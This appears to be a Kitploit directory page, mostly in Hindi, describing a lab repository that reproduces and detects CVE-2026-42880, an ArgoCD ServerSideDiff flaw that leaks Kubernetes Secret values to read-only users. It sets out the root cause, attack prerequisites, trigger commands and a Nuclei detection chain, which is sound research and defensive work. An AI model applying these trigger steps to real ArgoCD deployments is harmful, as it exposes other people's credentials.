Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC_CVE-2026-42880 — CVE-2026-42880 को पुनरुत्पादित करता है, यह एक महत्वपूर्ण ArgoCD कमजोरी है जो ServerSideDiff के माध्यम से Kubernetes Secrets को उजागर करती है। इसमें स्वचालित प्रयोगशाला सेटअप, ट्रिगर स्क्रिप्ट्स और सुरक्षा परीक्षण के लिए एक Nuclei डिटेक्शन टेम्पलेट शामिल है। | Kitploit
उपकरण/GitHubGitHub/haerin-l/poc_cve-2026-42880
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षागलत कॉन्फ़िगरेशनलर्निंग और शिक्षालैब और अभ्यास
GitHubhaerin-l/poc_cve-2026-42880

POC_CVE-2026-42880

CVE-2026-42880 को पुनरुत्पादित करता है, यह एक महत्वपूर्ण ArgoCD कमजोरी है जो ServerSideDiff के माध्यम से Kubernetes Secrets को उजागर करती है। इसमें स्वचालित प्रयोगशाला सेटअप, ट्रिगर स्क्रिप्ट्स और सुरक्षा परीक्षण के लिए एक Nuclei डिटेक्शन टेम्पलेट शामिल है।

रिपॉजिटरी देखें
23 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-42880 — ArgoCD में ServerSideDiff के माध्यम से Secret का एक्सपोज़र

CVE-2026-42880 को पुनर्निर्मित और पता लगाने के लिए एक लैब वातावरण, जो Argo CD में एक महत्वपूर्ण कमज़ोरी है जहाँ ServerSideDiff gRPC हैंडलर केवल-पढ़ने वाले उपयोगकर्ताओं को Kubernetes Secret डेटा उजागर करता है।


कमज़ोरी का अवलोकन

क्षेत्रविवरण
CVE IDCVE-2026-42880
GHSAGHSA-3v3m-wc6v-x4x3
CVSS9.6 (Critical) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
प्रभावित संस्करणArgoCD 3.2.0–3.2.10, 3.3.0–3.3.8
पैच किए गए संस्करण3.2.11, 3.3.9+
CWECWE-200, CWE-212

मूल कारण

ArgoCD के gRPC हैंडलर में serverSideDiff() Kubernetes SSA ड्राई-रन को कॉल करता है और hideSecretData() को कॉल किए बिना predictedLive लौटाता है, जिससे प्रतिक्रिया में base64-एन्कोडेड Secret मान उजागर हो जाते हैं।

root@kitploit:~
Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
  → gRPC ServerSideDiff handler
    → Kubernetes SSA dry-run (merges ALL field managers)
      ← predictedLive returned (includes external-controller's data)
        ❌ hideSecretData() NOT called → real Secret values exposed

Patched path (v3.2.11):
  ...same SSA dry-run...
    ✅ HideSecretData() called → values replaced with ++++

हमले की पूर्वापेक्षाएँ

सभी तीन शर्तों को एक साथ पूरा किया जाना चाहिए:

क्रमांकशर्तविवरण
1कमज़ोर ArgoCD संस्करण3.2.0–3.2.10 या 3.3.0–3.3.8
2एप्लिकेशन एनोटेशनargocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
3Secret डेटा पर बाहरी फ़ील्ड प्रबंधकSecret data फ़ील्ड एक गैर-ArgoCD प्रबंधक (जैसे, External Secrets Operator, Helm, kubectl) के स्वामित्व में हैं

केवल role:readonly आवश्यक है — किसी लेखन अनुमति की आवश्यकता नहीं है।


लैब आर्किटेक्चर

root@kitploit:~
Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABLE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (synced from Git)
│                              │    data.*  → external-controller ⚠ (injected separately)
│                              └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│                         └── (identical config — only ArgoCD version differs)
│
└── localhost:3010  ──→ Docker Container: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (no data field — CVE prerequisite)

Why the field manager split matters

root@kitploit:~
db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD syncs from Git)   │
│  data.*      → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘

SSA dry-run: Kubernetes merges both managers' fields into predictedLive
  → ArgoCD does NOT own data → data is not masked by ArgoCD
  → v3.2.0 returns predictedLive without hideSecretData() → EXPOSED

पूर्वापेक्षाएँ

उपकरणस्थापित करें
kindbrew install kind
kubectlbrew install kubectl
Docker DesktopDocker Desktop
argocd CLIbrew install argocd
nucleibrew install nuclei
curl, jq, gitmacOS पर पूर्व-स्थापित या brew install jq

संसाधन आवश्यकताएँ: 8GB+ खाली RAM, 15GB+ खाली डिस्क, पोर्ट 30080 / 30081 / 3010 उपलब्ध।


कैसे चलाएँ

चरण 1 — कमज़ोर वातावरण सेट करें (ArgoCD v3.2.0)

root@kitploit:~
bash scripts/01-setup-vuln.sh
# or: make setup-vuln

इसमें लगभग 10 मिनट लगते हैं। जब हो जाए:

root@kitploit:~
══════════════════════════════════════════════════════
 Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
 ArgoCD UI   : http://localhost:30080
 Admin pass  : <auto-generated>
 Viewer pass : viewerpass123
 Token file  : .vuln-viewer-token
══════════════════════════════════════════════════════

चरण 2 — तुलना के लिए पैच किया गया वातावरण सेट करें (वैकल्पिक)

root@kitploit:~
bash scripts/02-setup-patched.sh
# or: make setup-patched

चरण 3 — CVE को ट्रिगर करें

root@kitploit:~
bash scripts/03-trigger-cve.sh
# or: make trigger

अपेक्षित आउटपुट — कमज़ोर (v3.2.0):

root@kitploit:~
===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← masked live state
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← EXPOSED predictedLive!

[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE

अपेक्षित आउटपुट — पैच किया गया (v3.2.11):

root@kitploit:~
>   db_password: ++++++++   ← masked
✓  RESULT: no unmasked data in predictedLive — PATCHED

चरण 4 — Nuclei डिटेक्शन

root@kitploit:~
# Vulnerable cluster → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# Patched cluster → should produce no findings
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

चरण 5 — टियरडाउन

root@kitploit:~
bash scripts/99-teardown.sh
# or: make teardown

निर्देशिका संरचना

root@kitploit:~
argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # Lab setup guide + troubleshooting (English)
├── VULNERABILITY_ANALYSIS.md       # Code-level vulnerability analysis (English)
├── Nuclei_Template_Report.md       # Nuclei template design and test results (English)
├── Makefile
│
├── REPORT/                         # Korean reports
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # Kind cluster: cve-vuln    (port 30080)
│   └── cluster-patched.yaml        # Kind cluster: cve-patched (port 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret without data field (CVE prerequisite)
│
├── manifests/
│   ├── application.yaml            # ArgoCD Application with vulnerable annotation
│   ├── argocd-cm-patch.yaml        # ConfigMap: TLS off, viewer account, ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (vuln cluster)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (patched cluster)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup-vuln.sh            # Full automated setup: vulnerable env
    ├── 02-setup-patched.sh         # Full automated setup: patched env
    ├── 03-trigger-cve.sh           # Trigger CVE + compare both clusters
    └── 99-teardown.sh              # Remove all lab resources

Nuclei टेम्पलेट डिटेक्शन लॉजिक

टेम्पलेट वास्तविक Secret निष्कर्षण को ट्रिगर किए बिना सभी CVE पूर्वापेक्षाओं को सत्यापित करने के लिए 4-चरणीय HTTP श्रृंखला का उपयोग करता है:

root@kitploit:~
Step 1  GET /api/version
        → extract argocd_version (no auth required)

Step 2  POST /api/v1/session
        → authenticate as viewer (role:readonly), extract token

Step 3  GET /api/v1/applications
        → find app with ServerSideDiff=true,IncludeMutationWebhook=true

Step 4  GET /api/v1/applications/{app}/managed-resources
        → verify: version in range + Secret present + f:data owned by external manager
        → FINDING reported only if all 5 matchers pass (AND condition)

संदर्भ

  • NVD — CVE-2026-42880
  • GHSA-3v3m-wc6v-x4x3
  • पैच PR #27598
  • ArgoCD सर्वर-साइड डिफ दस्तावेज़
  • Kubernetes सर्वर-साइड अप्लाई

चेतावनी: इस लैब में सभी क्रेडेंशियल्स केवल सुरक्षा अनुसंधान उद्देश्यों के लिए नकली परीक्षण डेटा हैं। इन्हें उत्पादन में कभी उपयोग न करें।

टूल डाउनलोड करें